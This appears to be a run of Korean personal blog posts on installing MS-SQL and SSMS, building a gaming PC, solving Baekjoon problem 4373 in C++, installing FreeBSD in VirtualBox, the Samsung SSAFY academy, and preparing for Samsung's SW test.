MS-SQL 설치

 

MS-SQL을 써야 할 일이 생겨서 한번 설치해보자. 테스트용으로만 필요하기 때문에 무료 테스트용 버전인 Express를 설치해보도록 하겠다.

https://www.microsoft.com/ko-kr/sql-server/sql-server-downloads

 

SQL Server 다운로드 | Microsoft

지금 Microsoft SQL Server를 다운로드하세요. 각 데이터와 워크로드에 가장 적합한 SQL Server 체험판 또는 버전, 도구, 커넥터를 선택할 수 있습니다.

www.microsoft.com

 

Microsoft 공식 다운로드 사이트로 이동해보겠다.

오른쪽에 Express버전이 있고 지금 다운로드 하기가 있는데, 눌러보자

다운받은 파일을 눌러보면 위와같이 나오는데, 기본 설치로 한번 설치해보도록 하겠다.

이런거는 그냥 수락 누르면 된다.

요것도 그냥 기본 경로로 설치하도록 한다.

근데 다운로드 사이트에선 2019버전이라 햇는데, 설치 프로그래스바 나오는 마법사에서는 2017라고나온다;; 뭐지

설치가 완료되었다고 한다. SSMS 설치를 눌러서 바로 SSMS를 설치해도 된다. 

저 버튼을 누르면 아래 링크로 이동하게 될 것이다.

https://docs.microsoft.com/ko-kr/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15

 

SSMS 설치

MySQL에는 MySQL Workbench가 있다면 MS-SQL에는 SSMS가 있다. 다운로드 페이지에서 스크롤을 아래로 더 내려보면 좌측에 SSMS 링크가 있다. 눌러보자.

https://docs.microsoft.com/ko-kr/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15

 

SSMS(SQL Server Management Studio) 다운로드 - SQL Server Management Studio (SSMS)

SSMS(SQL Server Management Studio) 다운로드Download SQL Server Management Studio (SSMS) 이 문서의 내용 --> 적용 대상: SQL Server Azure SQL Database Azure Synapse Analytics(SQL DW) 병렬 데이터 웨어하우스 APPLIES TO: SQL Server Azure SQL Database Azure Synapse Analytics (SQL DW) Pa

docs.microsoft.com

위와 같은 페이지가 나타나는데, SSMS다운로드를 눌러서 받으면 된다.

 

설치파일을 실행하면 다음과 같이 나타난다.

설치 버튼을 눌러서 진행하자.

꽤 오래걸리는데 다 기다리니 이렇게 뜬다. 다시시작을 하면 설치가 끝이 난다.

 

컴퓨터공학과 대학생 시절 부터 계속 노트북만 사용하고, 업그레이드를 해도 거기에 모니터를 붙이거나, 기계식 / 무접점 키보드만 사서 쓰다가 결국 이제서야 데스크탑을 맞추고 싶다는 니즈를 가지고 PC를 맞추게 되었다.

 

주변 동기나 친구들에게 물어봐서 가성비 좋고 적당히 게임 돌아갈만한 PC를 맞추려고 정보를 좀 얻어서 중저가 게이밍 PC를 맞추었는데, 혹시나 비슷하게 PC를 맞추려는 사람들에게 도움이 되고자 후기 글을 올린다.

 

일단 나의 경우는, 모니터와 키보드 및 마우스는 다 있는 상태였고, 본체만 맞추면 되는 상태였다.

 

구글에 조립 PC를 검색하면 나오는 다나와에서 다나와 조립 PC견적으로 구매하려다가, 조립비용이 조금 더 저렴하다는 행복쇼핑에서 주문했다.

 

일단 옵션은 다음과 같다.

 

조립 스펙

CPU - 인텔 코어i5-9세대 9400F (커피레이크-R) (정품) 166,500\

메인보드 - ASUS PRIME H310M-D R2.0/CSM 인택엔컴퍼니 70,000\

메모리 - 삼성전자 DDR4 8GB PC4-21300 2개 (총 16GB) 61,000\ (지금 확인해보니 램 가격이 그세 올랐다)

SSD - 삼성전자 860 EVO (500GB) 97,000\

그래픽카드 - MSI 지포스 GTX 1650 에어로 ITX OC D5 4GB - 173,000\

케이스 - ABKO NCORE 아수라 풀 아크릴(블랙) - 34,000\

파워 서플라이어 - 마이크로닉스 Classic II 600W+12V Single Rail 85+ - 52,000\

CPU 팬(쿨러) - 써모랩 TRINITY WHITE LED 저소음 - 38,500\

조립비 - 20,000\

 

이렇게 해서 총 71만 8천원이라는 가격이 나왔다. 주문날짜는 2019년 11월 23일이라서 주문번호가 저렇게 나온 듯.

 

조립은 직접 한번 해 보려고 하다가, 주변에서 꽤 시간낭비가 된다고 해서 2만원 조립비를 내고 조립된 것을 받기로 했다.

다나와의 경우 조립비가 만원인가 더 비싸다고 해서 행복쇼핑에서 샀다.

 

조립을 직접하는 경우, 일단 써멀 구리스를 사야한다는 점이 조금 더 번거롭고 반면, 조립서비스를 이용하면 남는 써멀 구리스를 적당히 발라서 해준다고 한다. 그리고 특히나, 선 정리가 매우 번거로운데, 조립 서비스를 이용하면 선 정리를 깔-끔 하게 해준다고 한다.

 

어쨋든 행복쇼핑에서 저렇게 견적을 내면 업체들을 골라서 주문을 할 수 있는데, 업체에 따라서 받는 가격이 조금 다르다. 가격이 싼 업체 중에서, 대충 구글링 해 보니 평판이 좋았던 케이메모리에서 주문을 했다.

 

배송

 

 

주문할때 행복쇼핑 홈페이지에서는 조립과 배송까지 최대 2주까지 걸린다고 했었는데, 23일 주문을 하고 3일뒤인 26일날 택배 발송이 되었다고 문자가 왔다. 그리고 다음날인 27일날에 도착했다.

 

아마 배송지가 서울이라서 빨리 도착한 것도 있을 것이다.

 

요런 택배 박스에 담겨서 도착했다.

 

안에 사용한 빈 부품 박스도 같이 넣어주셨다. 파워케이블의 경우, 파워 서플라이 부품 박스 안에 있었다.

본체 안에 빈 공간에는 뽁뽁이들을 가득 채워 넣어주셨다.

본체 케이스를 좀 넉넉한 크기를 샀더니, 본체 안에 빈 공간이 좀 많았다;

 

사용 후기

일단 부팅은 잘 되었다.

게임은 롤, 스타 리마스터, 배틀그라운드, 데드 바이 데이라이트를 해봤는데, 모두 끊김 없이 쾌적한 게임 환경이 가능했다.

 

나름 처음 사 본 조립PC치고는 잘 산 것 같아서 기분이 좋았다.

그리고 스피커와 Windows 10 라이센스를 산다고 추가 비용이 좀 들긴 했지만 PC자체는 만족스러웠다.

https://www.acmicpc.net/problem/4373

 

4373번: 수집합

문제 정수 집합 S가 주어졌을 때, a + b + c = d를 만족하는 가장 큰 d를 구하는 프로그램을 작성하시오. 이때, a, b, c, d는 S의 원소이며, 서로 다른 수이다. 입력 입력은 여러 개의 테스트 케이스로 이루어져 있다. 각 테스트 케이스의 첫째 줄에는 집합 S의 크기 n(1 ≤ n ≤ 1000)이 주어진다. 다음 줄부터 n개의 줄에는 집합 S의 원소(-536870912와 ~ +536870911)가 하나씩 주어진다. 집합의 원소는 중복되지

www.acmicpc.net

백준저지 4373번 문제 수집합 문제 풀이입니다.

 

문제 접근

//(a+b+c=d//) 인 최대 //(d//) 를 구해야 한다. 좌항에서 더하는 수가 3개 밖에 안되고 //(N//)이 1000이므로 뭔가 비벼볼 만 하다는 느낌이 매우 든다.

 

양 항에 //(c//)를 빼서  //(a+b=d-c//)꼴로 만들어 보자.

 

모든 //(a+b//)쌍을 만들면 //(O(N^2)//)이므로 reasonable 한 시간으로 다 만들 수가 있다.

마찬가지로 //(d-c//)쌍도 같은 시간 복잡도로 만들 수 있다.

 

그면 그 두 값이 같은 경우를 모두 체크해주면 된다.

 

바이너리 서치 풀이

일단 첫 번째로 떠올랐던 풀이는 //(a+b//) 쌍들은 정렬해서 두고, //(d//) 와 //(c//)값에 대해서는 2중 포문으로 모두 돌면서 확인하면서 바이너리 서치로 맞는 값이 있는지를 확인하는 풀이를 생각해 보았다.

 

그런데 이렇게 할 경우 일단 a,b,c,d가 다 다른 값이어야 하는데 이를 체크하는 로직이 조금 번거로워 질 수가 있다는 생각이 들었다.

 

//(a+b//)가 같은 값이되, 각각 //(a//)와 //(b//)값이 다른 경우가 생길 시, 그런 경우를 다 체크해줘야 하기 때문이다.

 

예컨데, 입력값이 1,2,3,4,9 가 있을 시 (1,4)=>5 와 (2,3)=>5가 있는데, 

//(a+b//)값을 5로 잡고, //(c//)값을 4로 잡아서 //(a+b+c=9//)라고 하고싶다고 해 보자.

그러면 이때 //(a+b//)에는 //(c//)값에 해당하는 4가 중복되면 안되기 때문에, (1,4)로 5가 되는지 (2,3)로 5가 되는지를 모두 체크해야 한다.

 

이 구현부분이 좀 바이너리써치 치고 귀찮았고, 요걸로 투닥투닥해버리려다가 자꾸 WA가 났다.

 

그리고 이 경우 시간복잡도는 //(O(N^2lg(N^2))//)로 정렬을 하고, 바이너리 써치를 하기 때문에 //(O(N^2lg(N^2))//)가 된다.

둘을 합친 값이 시간복잡도가 된다(big oh notation에서는 걍 //(O(N^2lg(N^2))//)이긴 하다)

 

이 풀이는 구현에서 fail되엇다..;;

 

중복 수가 나올 수 있다는 점이 구현하는데 귀찮기도 하고 뭔가 복잡했다. 나이스하게 처리할 방법이 잘 생각나지 않아서 적당히 짜보다가 WA나와서, 이 풀이법은 버렸다.;

 

투 포인터 풀이

투 포인터로도 접근이 가능한데, //((a,b)//)쌍만 만들어서 정렬해놓는게 아닌, //(c,d//)쌍도 모두 만들어서 정렬해놓는다. 

그리고 투 포인터로 쭉죽 밀어가면서 같은 값이 나오는지를 //(O(N^2)//)로 알아내면 된다. 이런 경우, 같은 값이 나왔을 때만 같은 원본 값을 사용했는지를 체크하면 되서, 중복 체크 로직이 훨씬 쉽고 간단해진다.

 

시간복잡도 상으로는 바이너리 서치와 같은 //(O(N^2lg(N^2)//)이 된다. 투 포인터를 하는 부분이 //(O(N^2)//)로light-weght 하긴 한데, 소팅을 두번 해야 하므로 사실상 거의 비슷할듯하다

 

구현상 유의할 점

약간 유의해야 할 점은 //(a+b//)쌍은 순서가 바뀌어도 교환법칙이 성립하지만, //(d-c//)는 순서가 바뀌면 값이 음수 반전이 되므로 유의해야 한다. 그리고 숫자값 범위가 음수도 포함되어 있으므로 //(d-c//)가 반전되는 경우도 잘 체크해야 한다.

 

 

#include <bits/stdc++.h>
using namespace std;
#define endl '\n'
typedef long long ll;
typedef pair<int, int> pii;
int n;
int a[1003];
#define NOANSWER -2147483600
struct Data {
	int val, p, q; //(a,b) or (d,c)
	bool operator<(const struct Data& rhs) const {
		return val < rhs.val;
	}
	bool operator>(const struct Data& rhs) const {
		return val > rhs.val;
	}
};
Data ab[1000006];
Data dc[1000006];
void solve() {
	for (int i = 0; i < n; i++) {
		scanf("%d", a + i);
	}
	int abcnt = 0;
	int dccnt = 0;
	for (int i = 0; i < n - 1; i++) {
		for (int j = i + 1; j < n; j++) {
			ab[abcnt].val = a[i] + a[j];
			ab[abcnt].p = i;
			ab[abcnt].q = j;
			abcnt++;
		}
	}
	sort(ab, ab + abcnt);
	for (int i = 0; i < n - 1; i++) {
		for (int j = i + 1; j < n; j++) {
			dc[dccnt].val = a[j] - a[i];
			dc[dccnt].p = j;
			dc[dccnt].q = i;
			dccnt++;
		}
	}
	sort(dc, dc + dccnt);

	int ans = NOANSWER;
	int p, q;
	p = q = 0;
	while (p < abcnt && q < dccnt) {
		auto& l = ab[p];
		auto& r = dc[q];
		if (l.val > r.val) {
			q++;
		}
		else if (l.val < r.val) {
			p++;
		}
		else {
			if (l.p != r.p && l.p != r.q && l.q != r.p && l.q != r.q) {
				ans = max(ans, a[r.p]);
			}
			if (p < q) p++;
			else q++;
		}
	}
	reverse(dc, dc + dccnt);

	while (p < abcnt && q < dccnt) {
		auto& l = ab[p];
		auto& r = dc[q];
		if (l.val > -r.val) {
			q++;
		}
		else if (l.val < -r.val) {
			p++;
		}
		else {
			if (l.p != r.p && l.p != r.q && l.q != r.p && l.q != r.q) {
				ans = max(ans, a[r.q]);
			}
			if (p < q) p++;
			else q++;
		}
	}
	if (ans == NOANSWER) {
		puts("no solution");
	}
	else {
		printf("%d\n", ans);
	}
}
int main() {
	while (true) {
		scanf("%d", &n);
		if (!n) return 0;
		solve();
	}

}

Virtualbox vm에 freeBSD 설치하는 법이다.

 

일단 virtual box를 설치해야 한다.

 

Virtualbox 설치

virtualbox 공식 사이트로 가면 다운로드를 받을 수 있다.

구글에 치면 download 페이지를 바로 볼 수 있다. 일단 들어간다.

다양하게 있는데, Windows 환경에서 돌릴 것이므로 본인은 Windows Host를 눌러서 다운받았다.

진리의 Next / Next / Next를 해준다.

뭔가 시뻘건 글씨가 나오면서 Warning 경고를 주는데, 이 내용인 즉슨 가상 네트워크 인터페이스를 추가할것이기 때문에 네트워크가 잠시 끊길 수 있다는 것이다. 무언가 연결이 끊기면 안되는 것들을 하고 있다면 그거를 끝내고 yes를 눌러주면 되겠다.

 

Next / Yes를 계속 눌러서 쭉 설치하면 된다.

 

설치가 완료되었고, Finish를 눌러준다.

 

freeBSD installer image(iso) 다운로드

공식 사이트로 가서 freebsd를 다운받으면 된다. 구글에 치면 바로 나온다.

중간에 커다랗게 있는 Download FreeBSD를 눌러준다.

 

아래로 내리면 여러개가 있는데, Installer Images중에서 원하는 아키텍쳐를 다운받는다. 일반적인 64비트 PC(x86-64)등은 amd64를 받으면 되고 32비트 피씨(x86-32)는 i386을 받으면 된다. 

 

powerpc는 공유기같은 임베디드 장비등에 쓰이는 아키텍쳐인데, 그쪽용을 받으려면 해당 아키텍쳐를 누르면 된다. 본인은 x86 32bit가 필요해서 i386을 눌렀다.

여러가지가 나오는데, disc1.iso를 눌러서 받았다. disc1.iso.xz는 xz로 압축된 녀석인데, 데이터양을 줄여야 한다면 압축된 녀석을 받아서 압축 풀어주면 된다. 본인은 그냥 압축안된걸 받았다.

 

vbox에 freeBSD 설치

귀여운 Tux 펭귄이 우릴 맞이해준다. 우측 상단의 새로만들기를 눌러준다.

이름에 freebsd32bit라고 치면, 알아서 종류와 버전을 골라준다. 메모리크기는 host 메모리 크기에 따라서 적절히 골라주는데, 본인 피씨는 호스트가 16GB 메모리를 가져서 대충 4기가정도 주었다. 그리고 만들기를 누른다.

 

그리고 하드디스크 용량을 고르게 되어있는데, 적당히 8GB정도 주었다.

이제 설정을 들어간다.

 

가장 좌측에 저장소를 누르고, 저장장치 중 두번째 CD케이스인 비어 있음을 누르고 우측에 CD모양을 눌러서 Choose a disk file을 누른 뒤, 아까 다운받은 freebsd iso 파일을 선택한다. 본인의 경우 아까 선택한 적이 있어서 Choose a disk file 하단에 해당 iso파일이 자동완성으로 떠있다.

요렇게 씨디가 들어가면 확인을 눌러주고 설정창을 끈다.

이제 저 가상머신을 켜 보자

저런게 뜨면 시작을 누르면 된다.

1번을 눌러준다. 또는 엔터를 누르면 된다.

엔터를 눌러서 Install을 해주면 된다. 이제는 왠만해선 엔터만  쭉쭉 누르면 된다

 

키맵을 고르라는데, 뭐 중국어 자판, 벨기에 자판 이런거 쓸거 아니고 미국식 자판 쓸거면 그냥 엔터 누르면 된다.

호스트 네임을 쓰라고 하는데, 그냥 본인 컴퓨터 이름같은거다. 홍길동의 컴퓨터 이런것 마냥. 내부망에서 해당 컴퓨터를 식별하는 방법인데 vm이고 하니 대충 아무거나 써도 된다. 나는 그냥 비우고 엔터 눌렀다.

 

추가 기능들 관련된건데,  필요한 것들 있으면 방향키랑 스페이스 키로 enable/disable시킨 뒤 엔터 쳐서 넘어가면 된다.

 

freebsd 커널 디버깅을 하겠다면, kernel-dbg가 반드시 ok 되어야 하겠다.

파티션 어떻게 나눌거냐는데, 윈도로 치면 C/D드라이브 나눠서 쓰고 이런걸 말한다. 그냥 기본값대로 간다.

운영체제를 모든 디스크에 다 설치할건지, 파티션 나눠서 할건지 물어보는건데 걍 전체로 한다.

파티션 나누는것도 방식이 다양한데, 도스방식으로 나누는게 기본값이니 그냥 이걸로 간다.

파티션 방식 맞냐고 물어보는데 그냥 ㄱㄱ한다. 귀찮다.

기존 데이터 삭제된다고 하는데, 뭐 처음 설치하는거라 삭제될것도없다. 걍 ㄱㄱ

쭉쭉들어간다 기다리면된다. 추가기능들을 모조리 체크해서 그런지 꽤나 오래 걸린다.

루트계정 패스워드 설정하시란다. 아마 두번 치라고 하겠지.

네트워크 기능 활성화 할거냐는데, 당연한 소리다.

IPv4 할거냐하는데, 당연 ok

자동 IP할당도 할거냐는데 이것도 당근 OK

IPv6쓸거냐는데, 필요없다. 걍 No 근데 Yes해도된다.

DNS서버 자동으로 어디서 갖고왔다. 호스트꺼를 따서 하는듯. 그냥 OK하면 된다.

지역 설정하는게 있는데 Asia로 가자

 

국가설정 있는데 22번 머한민국으로 하자.

KST시간 따르냐는데, KST는 Korea standard time의 약자로 한국 표준시각이다. 맞다. ㄱㄱ

날짜를고르고, 시간도 고르라는데 대충설정하자~

기본 서비스 설정인데, 기본값으로 간다 후 너무많다

시스템에서 보안관련된 하드닝 기법들 쓸건지 물어보는데, 서비스용도아니고 테스트용인데 걍 기본값으로 None으로 간다.

유저 추가할거냐는데, guest계정 하나 만들어보자.

guest계정을 만들어보았다. 맨 위에 name: guest가 짤리긴했는데, 대충 요러코롬 만들면 된다.

 

다만 체크해야하는 부분은, login group을 wheel로 해야 su root가 가능하고, 쉘은 구대기 본쉘말고 csh을 쓰면 좋다.

다 끝내고 reboot을 눌러준다. 그리고 그냥 들어가면 다시 설치 화면이 뜨게 되는데, 일단 머신을 꺼야한다.

두번째 shell로 들어간 뒤, poweroff를 쳐준다.

그리고 설정으로 들어가서 iso 가상 CD 이미지를 꺼내기 한 뒤 다시 부팅해보자.

그러면 이제 될 것이다.

다시 1번 boot multi user를 눌러보자.

이제는 install그게 안뜨고  login이 뜬다. guest나  root계정으로 로그인해보자.

루트로 로그인 되었다.

 

이제 gcc를 써볼려고하니 없더라. pkg install -y gcc gdb 로 설치해준다.

 

이제 하고싶은거 하면 된다. 끝!

-----------------------------------------------------------------------------------------

- 이 글은 삼성청년SW아카데미에 대한 개인적인 소견을 밝히는 글입니다.

- 공개된 정보들과 개인적인 의견이 담긴 글로, 추측적인 내용들이 있을 수 있습니다.

- 이 글은 [2020-05-04]에 수정되었습니다.

-----------------------------------------------------------------------------------------

삼성청년SW아카데미(SSAFY)가 무엇이냐?

간단하게 말해서 삼성전자에서 청년들을 위한 SW 교육을 시켜주는 것이다. 심지어 무료임을 넘어서서, 매 달 교육지원금 100만원씩 준다고 한다. 이 돈으로 밥 사먹고 자취방 월세 내면서 SW교육에만 집중하게 해준다.

 

이 아카데미의 존재 목적은 교육생들의 취직이다. 따라서 청년 구직자들을 위한 아카데미이고, SSAFY(Samsung Software Academy For Youth: 통칭 싸피)를 하는 도중 취업에 성공하면, 그 즉시 싸피를 뛰쳐나간 뒤 회사로 직행하면 된다.

 

일단 매년 한 기수 씩 선발해서 총 5기까지 할 예정으로 되어 있는 듯 하며, 2020년 1월 현재 최근 3기가 입학했다고 한다. 그리고 각 기수별 교육 기간은 1년이다.

그러면 올해인 2020년 말 쯤에 4기 설명회 및 지원을 받을 것이고, 4기 합격자들은 내년 초 부터 다시 입학 한 뒤 1년간의 여정을 시작하게 될 것이다. 그리고 2021년 말 쯤에는 마지막 기수인 5기를 모집할 것이라고 예측해볼 수 있다.

 

 

5년동안 총 1만명의 수료생을 내는 것이 목표이고 6개월마다 새 기수를 뽑는다고 한다. 그러면 5년동안 10기 정도 까지 뽑을 것 으로 되고 그러면 각 기수별로 1000명 정도 뽑아야 한다.

 

1기가 500명이고 3기가 750명이라면, 이후에는 한 기수 당 1000명 보다 더 많은 인원수가 늘어날 것임을 예상할 수 있다.

 

SSAFY 수료생들이 나타나면서 어느정도 홍보가 되어 SSAFY에 지원하는 사람들이 많아지고 경쟁률이 높아지기도 하겠지만, 뽑는사람 수도 늘어나게 되므로 만약 관심이 있다면 열심히 한번 지원해보는 것도 나쁘지 않을 것 같다.

 

일단 뽑는 대상들, 즉 지원 자격은 만 29세 이하 4년제 대학 졸업자 혹은 졸업예정자이다.

만 29세 이하를 청년으로 본 듯 하다. 합격을 하게 되면 통학식으로 교육을 받게 되고, 아침부터 저녁까지 수업을 듣는 방식이다. 어떻게 보면 월급 100만원짜리 학원에 취직한 느낌이 들 듯 하다.

그리고 본인이 부족하다 싶다면 교육생들끼리 스터디를 만들어서 공부를 더 하거나 하는 분위기라고 한다.

 

다음 기수는 언제 모집하나요?

1기는 2018년 11월 2일까지 모집했다.

2기는 2019년 5월 10일까지 모집기간이었다.

3기는 2019년 11월 11일까지 모집기간이었다.

여태까지의 정보를 바탕으로 했을 때, 모집기간은 매년 4월말 ~ 5월 초 / 10월 말 ~ 11월 초 임을 추측할 수 있다.

그러면 다음 ssafy 4기는 2020년 4월말 ~ 5월 초 정도 되지않을까?

이 추측과 비슷하게 이번 ssafy 4기는 2020년 5월 11일 ~ 5월 25일이 모집기간이다.

ssafy 3기가 코로나 바이러스로 인해서 오프라인강의에서 온라인 강의로 변경되었다는 이야기는 있었다. 그래서 지금 열악한 상황이지만 ssafy 4기는 계획대로 모집이 진행될 것임을 알 수 있다.

 

그리고 다음 ssafy 5기의 모집기간은 10월 말 ~ 11월 초 임을 추측할 수 있다.

물론 과거의 DB에 기반한 정보이기 때문에 확실하지는 않다.

어디서 SSAFY에 관한 더 많은 정보들을 얻을 수 있나요?

SSAFY도 시험과 면접을 통해서 선발되다 보니, 더 자세한 정보들을 얻고 싶을 수 있다.

하지만 SSAFY 시험과 면접 내용, 내부 내용들은 다 대외비로 취급되며, 삼성에서 보안문제를 많이 신경쓰므로 왠만해서는 유출이 잘 되지 않을 것이다. 따라서 정보 구하기도 힘들 수 있다.

 

만약 가까운 지인중에 관련 정보가 있다면 슬쩍 힌트정도는 들을 수도 있을 수도 있다.

일단 공개된 정보로는 SSAFY 공식 사이트에 정보들이 있고, 매년 말 모집기간쯤에 설명회를 여러 번 한다. 그리고 인스타그램이나 인터넷 뉴스 등으로 많이 홍보를 하기 때문에, 그런 쪽에도 정보가 있을 수 있다.

 

인스타그램 계정 중 hellossafy라는 계정은 삼성청년SW아카데미 공식 계정이다. 그리고 해시태그로 삼성청년SW아카데미 등을 검색해도 다양한 글들이 보인다. 교육장 분위기 등도 한번 간접적으로 느껴볼 수 있는 방법이다.

 

그리고 공식 페이스북 페이지도 있으니 한번 참고해보면 좋다. 아마 4기 지원 설명회나 지원이 열리면 바로바로 업데이트가 될 듯 하다.

 

그리고 모집 시기 즈음 되면 공식 사이트도 자주 들러보자.

 

그리고 SSAFY 모집시기가 다가올 때 쯤에 항상 SSAFY 지원자들이 모인 카카오톡 오픈 채팅방이 있는데, 한번 검색해서 들어가 보면 가끔 꿀 정보들이 들어올 때가 있다.(익명의 수료생의 난입이라던지..) 그러니 꼭 찾아서 들어가보도록 하자.

 

SSAFY에 꼭 붙고싶은데 자신이 없어요!

나도 오다가면서 광고로 봤던 것 같은데 SSAFY에 합격하기 위한 학원도 존재한다고 한다. 취업 학원인 SSAFY에 선발되기 위한 학원이 따로 있다... 이제 그 학원을 붙기 위한 학원도 생기는 것이 아닌가 싶기도 하다.

SSAFY에서 많은 인원을 뽑긴 하지만, 그 SSAFY 조차도 경쟁률이 치열하기 때문에 이러한 현상이 생기는 것이지 않을까 싶다.

 

SSAFY를 수료하면 취직이 보장되나요?

그런 건 없다고 한다. 하지만 관리의 삼성 답게, 열심히 하지 않을 수 없는 환경들을 만들어 준다고 한다.

 

낙오되지 않으려면 빡세게 구를 수 밖에 없고, 그러다 보면 과거의 자신 보다는 훨씬 실력이 늘어 있게 된다고 한다.

 

해병대 병영캠프마냥 SW빡개발 캠프를 원한다면 지원해보는 것이 좋을 것 같다.

 

SW 취업을 위한 여러가지 학원들이 있는데, 이러한 학원들 수강 후기들을 보면 수업은 듣되 강제성이 없어서 스스로 공부를 잘 안하다가, 비싼 수강료를 내고 배웠는데 왜 나는 실력이 늘지 않고 이해되는게 별로 없느냐 하는 식의 후기들이 꽤나 많다.

하지만 SSAFY는 돈을 받으면서 듣는 교육이기도 하고 그에 따른 외부적 동기부여들도 주기 때문에, 학원 가서 돈 쓰고 사기당한 것 같은 느낌은 전혀 받을 일은 없을 것이다. 

SW를 단기간에 배우려고 하니까 힘들구나 라는 반응과, 그래도 많이 늘어서 많은 도움이 된 것 같다 라는 반응들이 나올 듯 하다.

 

추천할 만 한 프로그램인가요?

본인이 SW 개발자쪽으로 취직을 하려고 하고, 취직이 잘 안되는 상태(SW외 전공자나 SW전공자지만 실력이 부족한 상태)라면 무조건 추천한다. 이미 본인이 실력이 뛰어나서 이름있는 IT회사에 들어가거나, 본인이 만족할만한 기업에 들어갈 실력이 있다고 생각한다면 구태여 할 필요는 없다.

 

주변에 SSAFY를 했던 지인들의 이야기를 들어보면, 공부를 하려는 열정이 높은 사람들이 모여있어서 그런지, 매우 동기부여가 잘 되는 분위기라고 한다.

 

그리고 비전공자나 컴퓨터공학 전공자이지만 실력이 부족한 친구들은 그 부족한 실력 만큼 엄청난 노력을 쏟으면서 빡세게 공부하고 스터디를 한다고 한다. 빡세게 굴리지만 또 빡세게 구를 수 있는 환경을 만들어 주고, 그 만큼 아주 빠르게 실력이 늘어서 도움이 꽤나 된다고 한다.

 

컴공 Foundation 및 알고리즘 & 코딩 수업 및 다양한 주제의 프로젝트를 진행하며 교육시켜준다고 한다.

커리큘럼도 실무에 필요한 부분과 기본기들을 두루 가르쳐주므로 범용적이면서 괜찮은 것 같다.

 

그리고 혼자서 고독한 취준을 하는 것 보다는, SSAFY에서 같이 취준을 할 동료들을 많이 구하면 정신적으로도 많이 의지가 되고 좋은 기회가 될 것 같다.

 

고로, SW개발자로서 취직을 준비하고 있고, 공부나 프로젝트 등을 하면서 1~2주 취준이 아닌 조금 더 장기적인 관점에서(6개월 이상) 취준을 빡시게 할 계획이 있다면, 혼자 취준하는 것 보다 SSAFY에 지원해서 하는게 100배 이상 좋다. (같이 공부할 동료도 얻고, 지원금도 받고, 수업도 듣고, 컨설팅도 받는다.)

 

다른 비슷한 프로그램들이 있나요?

우아한 테크코스

배달의 민족으로 유명한 우아한 형제들에서 주최하는 우아한 테크코스라는 과정이 있다. 다만 뽑는 인원수가 훨씬 소규모이며, IT회사에 좀 더 특화되고 집중적인 커리큘럼을 갖고 있다고 한다. 금전적인 지원은 ssafy보다 덜 한 것 같은것이 조금 아쉽다.

 

네이버 커넥트 재단 - 부스트캠프

네이버 커넥트 재단에서 운영하는 교육 프로그램이다. 1기를 하고 나서 매년 2기, 3기 이런식으로 이어질 줄 알았는데, 했다 안했다 한다. 아마 첫 기수 운영하고 뭔가 결과가 마음에 들지 않았다던지 그래서 그런 거일지도 모르겠다.

네이버쪽에서 운영하는 프로그램이다 보니, 일단 선발부터 쉽지는 않고, 많은 인원을 뽑지도 않는다.

그리고 1기때와 지금 기수때와 방향이 이미 꽤 다르고 기수마다 계속 바뀌므로, 공고가 나오면 그때 그때 달라진 정보 등을 확인해보는게 좋을 듯하다.

 

 

 

 

------------------------------------------------------------------

https://woowacourse.github.io/

http://boostcamp.connect.or.kr/

https://linkareer.com/activity/17040
https://business.facebook.com/hellossafy

https://www.ssafy.com
https://www.hankyung.com/economy/article/2019092911561
https://news.samsung.com/kr/%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4%EB%A1%9C-%EC%84%B8%EC%83%81%EC%9D%84-%EB%B0%94%EA%BE%B8%EC%9E%90ssafy-3%EA%B8%B0-%EC%9E%85%ED%95%99%EC%8B%9D-%ED%98%84%EC%9E%A5
https://www.instagram.com/hellossafy/
https://www.instagram.com/explore/tags/%EC%82%BC%EC%84%B1%EC%B2%AD%EB%85%84sw%EC%95%84%EC%B9%B4%EB%8D%B0%EB%AF%B8/

 

 

삼성 SW 역량 테스트 및 A형 시험 자체에 대한 정보를 얻고 싶으신 분은 아래 링크를 클릭해 주세요.

시험 정보 글로 이동

관련 추천 도서에 대한 정보를 얻고 싶으신 분은 아래 링크를 클릭해주세요.

이것이 취업을 위한 코딩테스트이다

----------------------------------------------------------------------------------------------

- 이 글은 삼성 A형 혹은 SW역량테스트를 준비하는 사람들에게 도움이 되고자, 공부법에 대한 개인적인 의견을 담은 글입니다.

- 다소 미흡한 점이 있는 글이거나 오래된 정보를 담고 있는 글이 될 수 있지만, 점진적으로 글을 수정하면서 보완해나갈 예정입니다.

- 이 글은 [2020-02-20]에 마지막으로 수정되었습니다.

----------------------------------------------------------------------------------------------

단단한 실력 쌓기!

 

A형 문제가 뭐 커트라인이 어떻건 간에 우리에게 중요한 마음가짐은 A형 시험에 맞는 어떠한 난이도의 문제가 나오든, 1문제가 나오든 2문제가 나오든 간에 3시간 안에 완벽하게 풀어낼 수 있는 실력을 갖추는 것이 가장 중요하겠지요?

 

공채 시험의 경우, 합격 커트라인은 지원하는 사업부나 부문, 그리고 같이 지원하는 사람들의 실력과 수에 따라서 조금씩 달라질 수 있으니까요.

 

 

이제 제가 추천하는 공부법을 알려드리도록 하겠습니다.

 

 

보통 일반적으로 시험을 준비하는 사람들은 제일 처음하는 것 중 하나가 있습니다.

 

바로 기출문제를 보는 것이죠!!

 

이러한 기출문제 / 예상 문제 / 비슷한 유형 문제들은, 

https://swexpertacademy.com/main/code/problem/problemDetail.do?contestProbId=AV4suNtaXFEDFAUf

 

이런 것도 있고요, 

https://swexpertacademy.com/main/code/problem/problemList.do?problemTitle=SW&orderBy=FIRST_REG_DATETIME&select-1=&pageSize=10&pageIndex=1

이런 것도 있습니다.

 

위 사이트 자체가 삼성전자에서 SW역량이 뛰어난 사람들을 뽑기 위해 만든, 사이트이며 공부를 하라고 제공해주는 사이트입니다.

 

그리고 백준에서 SW역량테스트 기출문제라고 검색을 하시면 복원 문제들이 많이 나타납니다.

(시험을 칠 때에는 문제를 유출하지 말라고 아마 경고문이 있을 것인데, 알게 모르게 많이 유출이 되었죠 ㅠ)

 

그래서 기출문제를 보고 공부를 하라~ 라는 말을 하실줄 아셨겠지만, 저는 조금 다릅니다.

 

잠시 비유를 들어 보자면, 저희는 초/중/고등학교 교육을 받고 수능을 보게 됩니다.

 

그렇다고 초등학생이 처음 수능 기출문제를 풀어보면서 공부를 하지는 않지요. 고등학생이라면 기출문제를 열심히 돌릴때가 맞기는 하지만요.

 

